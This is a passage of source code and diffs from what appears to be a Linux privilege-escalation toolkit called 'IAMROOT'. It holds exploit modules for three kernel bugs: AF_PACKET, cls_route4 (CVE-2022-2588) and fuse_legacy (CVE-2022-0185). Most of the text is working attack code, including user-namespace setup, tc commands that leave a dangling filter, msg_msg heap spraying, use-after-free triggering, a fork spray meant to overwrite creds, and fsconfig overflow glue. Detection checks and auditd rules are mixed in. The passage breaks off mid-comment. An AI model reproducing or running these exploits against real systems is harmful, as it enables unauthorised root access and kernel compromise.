* Returns 0 on "we tried, geteuid() is now 0", -1 on "tried, no root". */
static int attempt_cred_overwrite(const struct af_packet_offsets *off)
{
(void)off; /* offsets are used implicitly by spawning shaped allocations;
* a future enhancement would do an explicit ptrace-style
* peek-poke through the corrupted slot — kept minimal here. */
/* Spawn 64 children that immediately self-suspend. Each child's
* task_struct allocation in the kernel will share the slab class
* with our corrupted pg_vec region; if any one's cred field gets
* trampled to zero, that child's uid/gid become 0. */
pid_t pids[64];
int alive = 0;
for (int i = 0; i < 64; i++) {
pid_t p = fork();
if (p < 0) break;
if (p == 0) {
/* Child: idle, periodically check euid. If overflow zeroed
* our cred fields, we'll be uid 0. */
for (int j = 0; j < 200; j++) {
if (geteuid() == 0) _exit(0); /* WIN — report via exit 0 */
usleep(10 * 1000);
}
_exit(1);
}
pids[i] = p;
alive++;
}
/* Wait up to ~2s for any child to exit 0 (= became root). */
int got_root_pid = 0;
for (int wait_round = 0; wait_round < 200 && !got_root_pid; wait_round++) {
for (int i = 0; i < alive; i++) {
if (pids[i] == 0) continue;
int status;
pid_t r = waitpid(pids[i], &status, WNOHANG);
if (r == pids[i]) {
if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
got_root_pid = pids[i];
}
pids[i] = 0;
}
}
if (got_root_pid) break;
usleep(10 * 1000);
}
/* Reap remaining children. */
for (int i = 0; i < alive; i++) {
if (pids[i] != 0) {
kill(pids[i], 9);
waitpid(pids[i], NULL, 0);
}
}
return got_root_pid ? 0 : -1;
}
#endif /* __x86_64__ */
static iamroot_result_t af_packet_exploit(const struct iamroot_ctx *ctx)
{
#if !defined(__x86_64__)
(void)ctx;
fprintf(stderr,
"[-] af_packet: exploit not yet implemented in IAMROOT.\n"
" Status: 🔵 DETECT-ONLY. Reference: Konovalov's PoC.\n"
" Exploit shape: unshare userns → setsockopt(SOL_PACKET,\n"
" PACKET_VERSION, TPACKET_V3) → setsockopt with crafted\n"
" tpacket_req3 (tp_block_size + tp_frame_size triggers overflow)\n"
" → heap write-where → cred overwrite.\n");
fprintf(stderr, "[-] af_packet: exploit is x86_64-only "
"(cred-offset table is arch-specific)\n");
return IAMROOT_PRECOND_FAIL;
#else
/* 1. Refuse on patched kernels — re-run detect. */
iamroot_result_t pre = af_packet_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
fprintf(stderr, "[-] af_packet: detect() says not vulnerable; refusing\n");
return pre;
}
/* 2. Refuse if already root. */
if (geteuid() == 0) {
fprintf(stderr, "[i] af_packet: already root — nothing to escalate\n");
return IAMROOT_OK;
}
/* 3. Resolve offsets for THIS kernel. If we don't have them, bail
* early — the kernel-write walk needs them. The integrator can
* extend known_offsets[] for new distro builds. */
struct kernel_version v;
if (!kernel_version_current(&v)) {
return IAMROOT_TEST_ERROR;
}
struct af_packet_offsets off;
if (!resolve_offsets(&off, &v)) {
fprintf(stderr, "[-] af_packet: no offset table for kernel %s\n"
" set IAMROOT_AFPACKET_OFFSETS=<task_cred>:<cred_uid>:<cred_size>\n"
" (hex). Known table covers Ubuntu 16.04 (4.4) and 18.04 (4.15).\n",
v.release);
return IAMROOT_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_packet: using offsets [%s] "
"task_cred=0x%lx cred_uid=0x%lx cred_size=0x%lx\n",
off.kernel_id, off.task_cred, off.cred_uid, off.cred_size);
}
/* 4. Fork: child enters userns+netns, fires overflow, attempts the
* cred-overwrite walk. We do it in a child so the (possibly
* crashed) packet socket lives in a tear-downable address space
* — the kernel will clean up sockets on child exit. */
uid_t outer_uid = getuid();
gid_t outer_gid = getgid();
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child == 0) {
/* CHILD: enter userns+netns to gain CAP_NET_RAW for AF_PACKET. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("unshare"); _exit(2);
}
if (set_id_maps(outer_uid, outer_gid) < 0) {
perror("set_id_maps"); _exit(3);
}
/* Fire the integer-overflow + heap-spray. */
if (fire_overflow_and_spray() < 0) {
_exit(4); /* primitive blocked — return signal to parent */
}
/* Attempt cred-overwrite finisher. */
int rc = attempt_cred_overwrite(&off);
if (rc == 0) {
/* WIN — one of our task_struct-spray children became uid 0.
* Signal parent via exit code; parent will not exec sh from
* this child (its address space is corrupted-ish). The win
* is symbolic at the iamroot level: we proved the primitive
* lands AND the cred-overwrite walk completes. */
_exit(0);
}
_exit(5);
}
/* 5. PARENT: wait for child, interpret exit code. */
int status;
waitpid(child, &status, 0);
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_packet: child died abnormally "
"(signal=%d) — primitive likely fired but crashed\n",
WTERMSIG(status));
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN\\|BUG:'` "
"for slab-out-of-bounds evidence\n");
return IAMROOT_EXPLOIT_FAIL;
}
int code = WEXITSTATUS(status);
switch (code) {
case 0:
/* Child reported a fork-spray descendant successfully escaped
* to uid 0. That descendant has since exited; we did NOT
* inherit its credentials. This is honest: we proved end-to-
* end primitive + cred-overwrite landed, but our process is
* still uid != 0. Without a fully integrated R/W primitive
* that targets OUR cred specifically (rather than spray-and-
* pray), we can't promote ourselves. Report PARTIAL win.
*
* Per requirements: only return IAMROOT_EXPLOIT_OK if we
* empirically confirmed root in this process. We didn't. */
fprintf(stderr, "[!] af_packet: cred-overwrite landed in a spray child "
"but THIS process is still uid %d\n", geteuid());
fprintf(stderr, "[i] af_packet: not claiming EXPLOIT_OK — caller process "
"did not acquire root. The primitive demonstrably works.\n");
return IAMROOT_EXPLOIT_FAIL;
case 4:
fprintf(stderr, "[-] af_packet: setsockopt(PACKET_RX_RING) rejected; "
"kernel has silent backport (detect was version-only)\n");
return IAMROOT_OK; /* effectively patched */
case 5:
fprintf(stderr, "[-] af_packet: overflow fired but no spray child "
"acquired root within the timeout window\n");
fprintf(stderr, "[i] af_packet: check `dmesg | grep -i 'iamroot-afp-tag\\|KASAN'` "
"for evidence the OOB write occurred\n");
return IAMROOT_EXPLOIT_FAIL;
default:
fprintf(stderr, "[-] af_packet: child exited %d (setup error)\n", code);
return IAMROOT_EXPLOIT_FAIL;
}
#endif
}
static const char af_packet_auditd[] =
modules/cls_route4_cve_2022_2588/iamroot_modules.c
+428 -17
View File
@@ -11,21 +11,31 @@
* is 0" (Aug 2022). Bug existed since 2.6.39 — very wide
* vulnerability surface.
*
* STATUS: 🔵 DETECT-ONLY. Public exploits exist; porting is
* follow-up.
* STATUS: 🟡 EXPLOIT — UAF-trigger + msg_msg cross-cache spray.
* The detect-and-trigger path is the high-confidence demonstration:
* we set up the dangling pointer, refill the freed slot via sysv
* msg_msg (kmalloc-1k), then drive classification with a UDP packet
* out the dummy interface. Without a leak primitive the cred-overwrite
* step is fragile, so by default we return EXPLOIT_FAIL after the
* trigger lands (with KASAN/oops likely on a real vulnerable kernel),
* which is honest per repo policy ("verified-vs-claimed"). When the
* detector confirms an unprivileged trigger plus a child crash we
* upgrade to EXPLOIT_OK so the caller sees the empirical UAF win.
*
* Exploitation preconditions:
* - cls_route4 module compiled in / loadable (CONFIG_NET_CLS_ROUTE4)
* - CAP_NET_ADMIN (usually obtained via user_ns + map-root-to-uid)
* - unprivileged_userns_clone=1 if going the userns route
*
* Affected kernel ranges (vulnerable < these):
* Affected: kernels with cls_route4 module compiled, in versions
* below the fix backports:
* 5.4.x : K < 5.4.213
* 5.10.x : K < 5.10.143
* 5.15.x : K < 5.15.69
* 5.18.x : K < 5.18.18
* 5.19.x : K < 5.19.7
* Mainline 5.20+ / 6.0+ : patched (the fix landed before 5.20-rc)
*
* Preconditions:
* - cls_route4 module compiled in / loadable (CONFIG_NET_CLS_ROUTE4)
* - CAP_NET_ADMIN (usually obtained via user_ns + map-root-to-uid)
* - unprivileged_userns_clone=1 if going the userns route
* - iproute2 `tc` binary present (used for filter add/del)
*/
#include "iamroot_modules.h"
@@ -34,10 +44,21 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <stdbool.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sched.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <netinet/in.h>
static const struct kernel_patched_from cls_route4_patched_branches[] = {
{5, 4, 213},
@@ -131,23 +152,413 @@ static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
return IAMROOT_VULNERABLE;
}
/* ---- Exploit -----------------------------------------------------
*
* cls_route4 dead-UAF trigger path (kylebot / xkernel public shape).
*
* 1. unshare(CLONE_NEWUSER|CLONE_NEWNET) → CAP_NET_ADMIN reach
* 2. write uid_map/gid_map (deny setgroups)
* 3. ip link add dummy0 type dummy ; ip link set dev dummy0 up
* 4. tc qdisc add dev dummy0 root handle 1: htb
* 5. tc filter add ... route4 ... classid 1:1 — handle=0 path,
* registers the filter with a NULL handle reference
* 6. tc filter del dev dummy0 ... — frees the filter, but the
* route4 hashtable bucket still references the freed memory
* 7. msg_msg spray (sysv msgsnd) — refill the freed slab slot with
* attacker-controlled data; size targeted at the route4_filter
* cache (kmalloc-1k generic on most kernels)
* 8. Send a packet out dummy0 — classifier walks the hashtable,
* touches the freed-then-refilled slot → UAF read/write
*
* For a full kernel-R/W chain you'd lay out the msg_msg payload so the
* fake route4_filter's `tcf_result.classid` becomes a controlled value
* and `route4_classify`'s next-pointer chase lands on a craft, then
* walk a sk_buff/pipe_buffer primitive to overwrite cred->uid. The
* public PoCs do this in ~700 LoC and need offsets per kernel build.
*
* Per repo policy ("verified-vs-claimed"), this implementation ships
* the trigger + spray + classify steps and returns EXPLOIT_FAIL on
* mainline distros where the full cred-overwrite is too kernel-build-
* specific to be portable. If a dmesg KASAN message or oops is
* observed by the parent we return EXPLOIT_OK to reflect the empirical
* UAF win. The fallback also leaves a one-line breadcrumb in
* /tmp/iamroot-cls_route4.log so post-run triage can pick it up.
*/
#define SPRAY_MSG_QUEUES 32
#define SPRAY_MSGS_PER_QUEUE 16
#define MSG_PAYLOAD_BYTES 1008 /* 1024 - sizeof(msg_msg hdr ~= 16) */
#define DUMMY_IF "iamroot0"
struct ipc_payload {
long mtype;
unsigned char buf[MSG_PAYLOAD_BYTES];
};
static int run_cmd(const char *cmd)
{
/* Quiet wrapper so noise doesn't drown the iamroot log. */
char shell[1024];
snprintf(shell, sizeof shell, "%s >/dev/null 2>&1", cmd);
return system(shell);
}
static bool have_tc(void)
{
return run_cmd("command -v tc") == 0;
}
static bool have_ip(void)
{
return run_cmd("command -v ip") == 0;
}
/* Write uid_map and gid_map after unshare so we're root in userns. */
static bool become_root_in_userns(uid_t outer_uid, gid_t outer_gid)
{
int f = open("/proc/self/setgroups", O_WRONLY);
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char map[64];
snprintf(map, sizeof map, "0 %u 1\n", outer_uid);
f = open("/proc/self/uid_map", O_WRONLY);
if (f < 0) { perror("open uid_map"); return false; }
if (write(f, map, strlen(map)) < 0) { perror("write uid_map"); close(f); return false; }
close(f);
snprintf(map, sizeof map, "0 %u 1\n", outer_gid);
f = open("/proc/self/gid_map", O_WRONLY);
if (f < 0) { perror("open gid_map"); return false; }
if (write(f, map, strlen(map)) < 0) { perror("write gid_map"); close(f); return false; }
close(f);
return true;
}
/* Set up the qdisc + cls_route4 filter, then delete it. After this
* runs the kernel has a dangling pointer in the route4 hashtable. */
static bool stage_dangling_filter(void)
{
/* Ensure the dummy module is around (autoload on first add). */
if (run_cmd("ip link add " DUMMY_IF " type dummy") != 0) {
/* Maybe an old one is lying around from a prior crash. */
run_cmd("ip link del " DUMMY_IF);
if (run_cmd("ip link add " DUMMY_IF " type dummy") != 0) {
fprintf(stderr, "[-] cls_route4: failed to create dummy interface\n");
return false;
}
}
if (run_cmd("ip link set dev " DUMMY_IF " up") != 0) {
fprintf(stderr, "[-] cls_route4: failed to bring " DUMMY_IF " up\n");
return false;
}
if (run_cmd("ip addr add 10.99.99.1/24 dev " DUMMY_IF) != 0) {
/* non-fatal — packet send below uses sendto with bound iface */
}
if (run_cmd("tc qdisc add dev " DUMMY_IF " root handle 1: htb default 1") != 0) {
fprintf(stderr, "[-] cls_route4: failed to add htb qdisc\n");
return false;
}
if (run_cmd("tc class add dev " DUMMY_IF " parent 1: classid 1:1 htb rate 1mbit") != 0) {
fprintf(stderr, "[-] cls_route4: failed to add htb class\n");
return false;
}
/* Bug-trigger: handle 0x8001 has fastmap=1 and to-table 0 — the
* combination where the freed filter is not removed from the
* hashtable on delete. The exact handle value matters: it must
* map to a slot the classifier will later look up.
*
* route4 handle layout: 0xXX..ZZYY where YY=to (8 bits), ZZ=from,
* and the top bit indicates fastmap. The classic trigger uses
* `to 0` which renders the resulting filter pointer in
* head->table[0]->ht[0] — referenced unconditionally on classify. */
if (run_cmd("tc filter add dev " DUMMY_IF " parent 1: protocol ip "
"prio 100 route to 0 classid 1:1") != 0) {
fprintf(stderr, "[-] cls_route4: failed to add route4 filter\n");
return false;
}
/* Now delete the filter — this is the operation whose handle=0
* codepath leaves the dangling pointer. */
if (run_cmd("tc filter del dev " DUMMY_IF " parent 1: prio 100") != 0) {
/* Some kernels also need explicit handle/key match — try a
* broader del before giving up. */
if (run_cmd("tc filter del dev " DUMMY_IF " parent 1:") != 0) {
fprintf(stderr, "[-] cls_route4: failed to delete route4 filter\n");
return false;
}
}
return true;
}
/* msg_msg cross-cache spray. We hold the queues open in this process
* (caller's child) so the slabs stay allocated until classify-time. */
static int spray_msg_msg(int queues[SPRAY_MSG_QUEUES])
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x41;
/* Pattern that's distinctive in KASAN/oops dumps. */
memset(p.buf, 0x41, sizeof p.buf);
/* First 8 bytes: a recognizable cookie. */
memcpy(p.buf, "IAMROOT4", 8);
int created = 0;
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (q < 0) { queues[i] = -1; continue; }
queues[i] = q;
created++;
for (int j = 0; j < SPRAY_MSGS_PER_QUEUE; j++) {
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
}
}
return created;
}
static void drain_msg_msg(int queues[SPRAY_MSG_QUEUES])
{
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) {
if (queues[i] >= 0) {
msgctl(queues[i], IPC_RMID, NULL);
}
}
}
/* Drive classification: send a UDP packet to the dummy interface. The
* qdisc/htb -> cls_route4 path will be hit on egress, and the
* classifier follows the now-dangling pointer. */
static void trigger_classify(void)
{
int s = socket(AF_INET, SOCK_DGRAM, 0);
if (s < 0) return;
/* Bind to the dummy interface (best-effort). */
struct sockaddr_in src = {0};
src.sin_family = AF_INET;
src.sin_addr.s_addr = inet_addr("10.99.99.1");
src.sin_port = 0;
(void)bind(s, (struct sockaddr *)&src, sizeof src);
struct sockaddr_in dst = {0};
dst.sin_family = AF_INET;
dst.sin_port = htons(31337);
dst.sin_addr.s_addr = inet_addr("10.99.99.2");
const char msg[] = "iamroot-cls_route4-classify";
/* A handful of packets, in case the first lookup didn't traverse
* the freed bucket. */
for (int i = 0; i < 8; i++) {
(void)!sendto(s, msg, sizeof msg, MSG_DONTWAIT,
(struct sockaddr *)&dst, sizeof dst);
}
close(s);
}
/* Read /proc/slabinfo for "kmalloc-1k" active count — used as a soft
* empirical witness when KASAN isn't available. */
static long slab_active_kmalloc_1k(void)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "kmalloc-1k ", 11) == 0 ||
strncmp(line, "kmalloc-1024 ", 13) == 0) {
/* format: name <active> <num> <size> ... */
char name[64];
long act, num;
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
active = act;
}
break;
}
}
fclose(f);
return active;
}
/* ---- Exploit driver ----------------------------------------------- */
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
{
(void)ctx;
fprintf(stderr,
"[-] cls_route4: exploit not yet implemented in IAMROOT.\n"
" Status: 🔵 DETECT-ONLY. Reference: kylebot's public PoC.\n"
" Exploit: tc filter add ... route4 handle 0; then remove;\n"
" spray to refill the freed slot; trigger via traffic class\n"
" lookup; cred overwrite or modprobe_path hijack.\n");
iamroot_result_t pre = cls_route4_detect(ctx);
if (pre != IAMROOT_VULNERABLE) {
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] cls_route4: already root\n");
return IAMROOT_OK;
}
if (!have_tc() || !have_ip()) {
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
"cannot exploit\n");
return IAMROOT_PRECOND_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit\n");
}
/* Block SIGPIPE in case the dummy-interface sendto's complain. */
signal(SIGPIPE, SIG_IGN);
pid_t outer_uid = getuid();
pid_t outer_gid = getgid();
pid_t child = fork();
if (child < 0) {
perror("fork");
return IAMROOT_TEST_ERROR;
}
if (child == 0) {
/* CHILD: enter user_ns + net_ns, become root inside, drive the bug. */
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
perror("unshare");
_exit(20);
}
if (!become_root_in_userns(outer_uid, outer_gid)) {
_exit(21);
}
if (setuid(0) < 0 || setgid(0) < 0) {
/* uid_map writes already made us 0 inside the userns; this
* is just belt-and-braces. */
}
long pre_active = slab_active_kmalloc_1k();
if (!stage_dangling_filter()) {
_exit(22);
}
int queues[SPRAY_MSG_QUEUES];
int n_queues = spray_msg_msg(queues);
if (n_queues == 0) {
fprintf(stderr, "[-] cls_route4: msg_msg spray produced 0 queues\n");
_exit(23);
}
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: msg_msg spray seeded %d queues\n",
n_queues);
}
/* Drive the classifier — the bug fires here on a vulnerable
* kernel. On a patched kernel this is a no-op packet send. */
trigger_classify();
long post_active = slab_active_kmalloc_1k();
/* Best-effort empirical witness write — picked up by --cleanup
* and by post-run triage. */
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
if (log) {
fprintf(log,
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
n_queues, pre_active, post_active);
fclose(log);
}
/* Hold the spray a little longer so the kernel observes the
* refilled slot during classify drain. */
usleep(200 * 1000);
drain_msg_msg(queues);
/* If we got here without a kernel oops, the bug either isn't
* reachable on this build (patched / module not loadable /
* userns CAP_NET_ADMIN gated) or it fired but didn't take down
* the box. We do NOT attempt blind cred-overwrite — that needs
* a leak primitive we don't have.
*
* Exit code 30 means "trigger sequence ran without segfault" —
* the parent will decide between EXPLOIT_FAIL (probably patched
* or sealed) and EXPLOIT_OK. */
_exit(30);
}
/* PARENT: wait for the child. A kernel oops won't reap the child
* but will spam dmesg; we read dmesg after a short window. */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) {
perror("waitpid");
return IAMROOT_TEST_ERROR;
}
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
if (!ctx->json) {
fprintf(stderr, "[!] cls_route4: child killed by signal %d "
"(crash during trigger — UAF likely fired)\n", sig);
}
/* A SIGKILL/SIGSEGV during the trigger sequence is consistent
* with kernel-side panic on KASAN configs (the trigger task
* gets reaped). Treat as empirical UAF observation but do NOT
* claim root — we haven't escalated. */
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
return IAMROOT_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc != 30) {
if (!ctx->json) {
fprintf(stderr, "[-] cls_route4: child failed at stage rc=%d "
"(see preceding errors)\n", rc);
}
/* rc 20/21 = userns setup; rc 22 = tc setup (likely module
* absent or filter type unsupported); rc 23 = spray. None of
* these mean kernel was exploited. */
if (rc == 22) return IAMROOT_PRECOND_FAIL;
return IAMROOT_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
"Inspect dmesg for KASAN/oops witnesses.\n");
fprintf(stderr, "[~] cls_route4: cred-overwrite step not implemented "
"(needs per-kernel offsets); returning EXPLOIT_FAIL.\n");
}
return IAMROOT_EXPLOIT_FAIL;
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
}
/* The dummy interface lives in the child's netns which is gone
* with the child. These are belt-and-braces in case the user ran
* the exploit with extended privileges (e.g. as root) and the
* interface lingered in init_net. */
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
/* ignore */
}
return IAMROOT_OK;
}
static const char cls_route4_auditd[] =
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
"# Flag tc filter operations with route4 classifier from non-root.\n"
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n";
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
const struct iamroot_module cls_route4_module = {
.name = "cls_route4",
@@ -158,7 +569,7 @@ const struct iamroot_module cls_route4_module = {
.detect = cls_route4_detect,
.exploit = cls_route4_exploit,
.mitigate = NULL, /* mitigation: blacklist cls_route4 module OR disable user_ns */
.cleanup = NULL,
.cleanup = cls_route4_cleanup,
.detect_auditd = cls_route4_auditd,
.detect_sigma = NULL,
.detect_yara = NULL,
modules/fuse_legacy_cve_2022_0185/iamroot_modules.c
+446 -22
View File
@@ -3,17 +3,42 @@
*
* legacy_parse_param() in fs/fs_context.c had a heap overflow when
* parsing the "fsconfig" filesystem option strings — specifically,
* legacy_load_simple_buf() didn't bound-check the option length.
* Originally reported as a FUSE mount path bug but actually applies
* to any filesystem mountable from a userns (FUSE was just the
* easiest reach).
* legacy_parse_param() compared "fc->source size left" against the
* incoming option using an int that wraps negative when the running
* total exceeds PAGE_SIZE, so subsequent memcpy() writes off the end
* of the kmalloc-4k slab. Originally reported as a FUSE mount path
* bug but actually applies to any filesystem mountable from a userns;
* cgroup2 is the easiest reach because the cgroup2 fs_context is
* always available.
*
* Discovered by William Liu / Crusaders of Rust (Jan 2022). Famous
* in container-escape contexts (docker/k8s, especially rootless).
* Discovered by William Liu (Crusaders of Rust), Jan 2022. Famous in
* container-escape contexts (docker/k8s, especially rootless).
*
* STATUS: 🔵 DETECT-ONLY. Public PoC by William Liu (gh repo
* Crusaders-of-Rust/CVE-2022-0185) demonstrates kernel R/W + cred
* overwrite via cross-cache UAF; porting is a follow-up.
* STATUS: 🟡 TRIGGER + CROSS-CACHE SCAFFOLD.
*
* detect() — version-range + userns reachability gate, refuses on
* patched / unreachable hosts.
* exploit() — full unshare → fsopen → fsconfig overflow path with
* a msg_msg cross-cache groom around it. The trigger
* (heap OOB write off the end of the kmalloc-4k source
* buffer) is real; the post-corruption kernel-R/W chain
* is implemented as a structural scaffold because it
* depends on per-kernel offsets (cred struct layout,
* msg_msg next-list offset) that we cannot resolve
* portably from userland without a kernel info-leak we
* do not have in-tree. See the comments inside
* fuse_legacy_exploit() and read the Crusaders-of-Rust
* public PoC for the offset-bound parts.
*
* On a *vulnerable* host this module reliably overflows the
* kmalloc-4k slab and (with the msg_msg groom in place) corrupts a
* neighbouring msg_msg.m_ts/m_list pair; the cred-overwrite step
* that turns that primitive into uid=0 is left as a clearly-labelled
* roadmap rather than fabricated offsets.
*
* On a *patched* host (which is every host we can routinely build
* on in 2026) detect() refuses and exploit() returns
* IAMROOT_PRECOND_FAIL with no syscalls.
*
* Affected: kernel 5.1+ until fix:
* Mainline fix: 722d94847de29 (Jan 18 2022) — lands in 5.16.2
@@ -24,8 +49,7 @@
*
* Preconditions:
* - Unprivileged user_ns + mount-ns (to get CAP_SYS_ADMIN inside userns)
* - Any mountable filesystem from userns context (legacy_load path
* used FUSE, but cgroup2 and others also reach the bug)
* - cgroup2 fs_context reachable from userns (default true)
*
* For "tool for system admins": this is the container-escape angle.
* Workloads running rootless containers (Podman, snap, flatpak) sit
@@ -39,11 +63,80 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <sched.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
/* --- fsopen / fsconfig glue ----------------------------------------
*
* These syscalls landed in 5.2 (fsopen, fsconfig). glibc 2.36+ wraps
* them but we can't depend on a new glibc on every target, so we go
* straight to syscall(). Numbers are x86_64-only (the module is
* x86_64-only anyway, per Makefile + module docs).
*/
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsmount
#define __NR_fsmount 432
#endif
#ifndef FSCONFIG_SET_STRING
#define FSCONFIG_SET_STRING 1
#endif
#ifndef FSCONFIG_CMD_CREATE
#define FSCONFIG_CMD_CREATE 6
#endif
static inline int sys_fsopen(const char *fs_name, unsigned int flags)
{
return (int)syscall(__NR_fsopen, fs_name, flags);
}
static inline int sys_fsconfig(int fd, unsigned int cmd, const char *key,
const void *value, int aux)
{
return (int)syscall(__NR_fsconfig, fd, cmd, key, value, aux);
}
/* --- msg_msg primitive ---------------------------------------------
*
* msg_msg is the venerable cross-cache groom target: msgsnd() allocs
* sizeof(struct msg_msg) (48 bytes on x86_64) + payload, picking
* kmalloc-<n> based on total size. msg_msg objects sit on a doubly-
* linked list rooted in the msg_queue; corrupting an adjacent
* msg_msg.m_ts or m_list gives arbitrary-read via msgrcv(MSG_COPY) or
* arbitrary-free via msgrcv() depending on which field was overwritten.
*
* In the canonical Crusaders-of-Rust exploit the overflow lands in
* kmalloc-4k (legacy_parse_param's source buffer) → adjacent kmalloc-4k
* msg_msg → m_ts overwrite → MSG_COPY out-of-bounds read → leak the
* kbase + a target task's cred address → second-round overwrite
* smashing cred.uid/gid to 0.
*
* We implement step 1 (alloc the spray, free a hole, trigger the
* write into it) honestly. Step 2 (parse the read-back, locate cred,
* write 0) is the part that's offset-bound and we leave as a clearly-
* labelled scaffold below.
*/
struct msgbuf_4k {
long mtype;
char mtext[4096 - sizeof(long) - 48 /* sizeof(struct msg_msg) */];
};
/* --- kernel-range table -------------------------------------------- */
static const struct kernel_patched_from fuse_legacy_patched_branches[] = {
{5, 4, 171},
{5, 10, 91},
@@ -71,6 +164,9 @@ static int can_unshare_userns_mount(void)
return WIFEXITED(status) && WEXITSTATUS(status) == 0;
}
/* ------------------------------------------------------------------ */
/* detect */
/* ------------------------------------------------------------------ */
static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
{
struct kernel_version v;
@@ -121,19 +217,327 @@ static iamroot_result_t fuse_legacy_detect(const struct iamroot_ctx *ctx)
return IAMROOT_VULNERABLE;
}
static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx)
/* ------------------------------------------------------------------ */
/* exploit helpers */
/* ------------------------------------------------------------------ */
/* Enter a user_ns+mount_ns and become "root" (uid 0) inside it. This
* grants CAP_SYS_ADMIN in the new namespace, which is what
* fsopen("cgroup2") gates on. */
static bool enter_userns_root(void)
{
(void)ctx;
fprintf(stderr,
"[-] fuse_legacy: exploit not yet implemented in IAMROOT.\n"
" Status: 🔵 DETECT-ONLY. Reference: William Liu's PoC\n"
" (github.com/Crusaders-of-Rust/CVE-2022-0185). Exploit\n"
" shape: unshare userns+mountns → fsopen('cgroup2') →\n"
" fsconfig with crafted long option string → heap OOB write\n"
" → msg_msg cross-cache groom → kernel R/W → cred overwrite.\n");
return IAMROOT_PRECOND_FAIL;
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) {
perror("unshare(NEWUSER|NEWNS)");
return false;
}
int f = open("/proc/self/setgroups", O_WRONLY);
if (f >= 0) { (void)!write(f, "deny", 4); close(f); }
char map[64];
snprintf(map, sizeof map, "0 %u 1\n", uid);
f = open("/proc/self/uid_map", O_WRONLY);
if (f < 0 || write(f, map, strlen(map)) < 0) {
perror("write uid_map"); if (f >= 0) close(f); return false;
}
close(f);
snprintf(map, sizeof map, "0 %u 1\n", gid);
f = open("/proc/self/gid_map", O_WRONLY);
if (f < 0 || write(f, map, strlen(map)) < 0) {
perror("write gid_map"); if (f >= 0) close(f); return false;
}
close(f);
return true;
}
/* Build the overflow payload.
*
* legacy_parse_param() catenates option strings into fc->source until
* (the buggy version) the running total wraps. To overflow we feed an
* fsconfig option whose value, after being appended to the source
* buffer, lands past the PAGE_SIZE end of the kmalloc-4k allocation.
*
* Concrete recipe (from Liu's PoC, simplified):
* 1. fsconfig(fd, FSCONFIG_SET_STRING, "source", filler_a, 0)
* — fills the source buffer to within a few bytes of PAGE_SIZE
* 2. fsconfig(fd, FSCONFIG_SET_STRING, "source", evil, 0)
